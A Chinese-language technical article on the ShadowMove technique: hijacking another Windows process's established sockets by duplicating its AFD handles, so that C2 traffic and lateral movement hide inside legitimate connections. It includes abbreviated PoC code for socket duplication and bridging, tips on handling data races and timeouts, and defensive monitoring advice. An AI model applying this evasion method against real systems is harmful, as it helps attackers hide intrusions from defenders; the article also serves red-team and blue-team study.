ShadowMove套接字劫持技术,巧妙隐藏与C2的连接
字数 1716 2025-08-15 21:33:28
ShadowMove套接字劫持技术详解
技术概述
ShadowMove是一种从非协作进程(non-cooperative process)中劫持Socket的新技术,首次在2020年USENIX大会的《ShadowMove: A Stealthy Lateral Movement Strategy》论文中提出。该技术利用了Windows系统中AFD(辅助函数驱动程序)文件句柄被Windows API视为Socket句柄的特性,通过WSADuplicateSocket()函数复制这些句柄。
技术原理
ShadowMove技术的核心在于:
- 不需要向目标进程注入任何代码
- 只需要具有PROCESS_DUP_HANDLE权限的进程句柄
- 通过复制所有文件句柄,查找名为
\Device\Afd的句柄 - 使用getpeername()验证是否为所需连接
技术优势
对于红队行动特别有价值的原因:
- 避免进程注入产生的噪音
- 绕过基于白名单的网络连接监控
- 在合法进程的网络连接中隐藏恶意通信
- 比传统注入方法更隐蔽干净
实现步骤
基本流程
- 使用PROCESS_DUP_HANDLE权限打开目标进程
- 枚举进程中所有类型为0x24(文件)的句柄
- 复制每个句柄
- 检索句柄名称,跳过非
\device\afd的句柄 - 获取远程IP和端口,验证是否匹配目标
- 调用WSADuplicateSocketW获取WSAPROTOCOL_INFO结构
- 创建重复的Socket
- 使用该Socket进行通信
关键API
NtQuerySystemInformation: 查询系统信息,获取进程句柄列表NtDuplicateObject: 复制目标句柄NtQueryObject: 查询对象信息WSADuplicateSocketW: 复制SocketWSASocket: 创建新Socketgetpeername: 获取对端地址信息
应用场景
场景一:隐藏C2连接
在受限制环境中,通过劫持合法程序(如mssql客户端)已建立的连接来隐藏与C2服务器的通信:
- 运行合法程序并建立到C2的连接
- 使用键盘记录器劫持该连接
- 通过合法程序的网络通道传输数据
场景二:横向移动桥梁
在三台机器A<->B<->C的场景中,通过劫持B上的两个合法连接建立通信桥梁:
- 在B上运行两个合法程序:一个连接A,一个连接C
- 劫持这两个Socket
- 桥接两个Socket实现A与C的间接通信
PoC代码分析
ShadowMove Gateway PoC
// 主要功能:查找并劫持指定PID进程中连接到特定IP的Socket
SOCKET findTargetSocket(DWORD dwProcessId, LPSTR dstIP) {
// 打开目标进程
HANDLE hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwProcessId);
// 获取系统句柄信息
PSYSTEM_HANDLE_INFORMATION handleInfo;
NTSTATUS status = NtQuerySystemInformation(SystemHandleInformation, ...);
// 遍历所有句柄
for (DWORD i = 0; i < handleInfo->HandleCount; i++) {
// 只处理文件类型句柄(0x24)
if (handleInfo->Handles[i].ObjectTypeNumber == 0x24) {
// 复制句柄
NtDuplicateObject(hProc, (HANDLE)handle.Handle, ...);
// 获取句柄名称
NtQueryObject(dupHandle, ObjectNameInformation, ...);
// 检查是否为AFD句柄
if (objectNameInfo->Name.Length == 22 &&
wcsstr(objectNameInfo->Name.Buffer, L"Afd")) {
// 复制Socket
WSADuplicateSocketW((SOCKET)dupHandle, ...);
SOCKET targetSocket = WSASocket(...);
// 验证对端IP
getpeername(targetSocket, ...);
if (strcmp(inet_ntoa(sockaddr.sin_addr), dstIP) == 0) {
return targetSocket;
}
}
}
}
return 0;
}
ShadowMove Pivot PoC
// 主要功能:桥接两个不同进程中的Socket
void bridge(SOCKET fd0, SOCKET fd1) {
fd_set rd_set;
while (1) {
FD_ZERO(&rd_set);
FD_SET(fd0, &rd_set);
FD_SET(fd1, &rd_set);
select(maxfd + 1, &rd_set, NULL, NULL, NULL);
if (FD_ISSET(fd0, &rd_set)) {
nread = recv(fd0, buffer_r, BUFSIZE, 0);
send(fd1, buffer_r, nread, 0);
}
if (FD_ISSET(fd1, &rd_set)) {
nread = recv(fd1, buffer_r, BUFSIZE, 0);
send(fd0, buffer_r, nread, 0);
}
}
}
技术限制与解决方案
1. 数据冲突问题
问题描述:原始程序可能同时读取Socket数据,导致数据丢失。
解决方案:
- 实现自定义协议处理丢失数据包
- 添加序列号和确认机制
- 使用带外数据(OOB)标记重要信息
2. 连接超时问题
问题描述:在劫持前连接可能因超时关闭。
解决方案:
- 监控目标进程的网络活动,及时劫持
- 保持连接活跃(如定期发送心跳包)
- 选择长连接应用作为目标(如数据库客户端)
3. 旧句柄问题
问题描述:可能找到已失效但满足条件的旧句柄。
解决方案:
- 验证句柄是否仍可操作
- 检查连接状态(SO_ERROR)
- 尝试发送测试数据验证连接有效性
防御建议
针对ShadowMove技术的防御措施:
-
监控敏感API调用:
- 特别关注WSADuplicateSocket和进程句柄复制操作
- 记录PROCESS_DUP_HANDLE权限的获取
-
行为分析:
- 检测异常的网络连接共享
- 监控非网络进程的Socket操作
-
权限控制:
- 限制普通用户获取PROCESS_DUP_HANDLE权限
- 实施最小权限原则
-
网络监控:
- 关联进程与网络连接的关系
- 检测同一连接被多个进程使用的情况
总结
ShadowMove技术提供了一种隐蔽的横向移动和数据传输方法,通过复用合法进程的网络连接,有效规避了传统安全监控。理解其工作原理对于红队行动和蓝队防御都至关重要。防御方应关注进程间Socket共享的异常行为,而攻击方则需注意处理数据冲突和连接稳定性问题。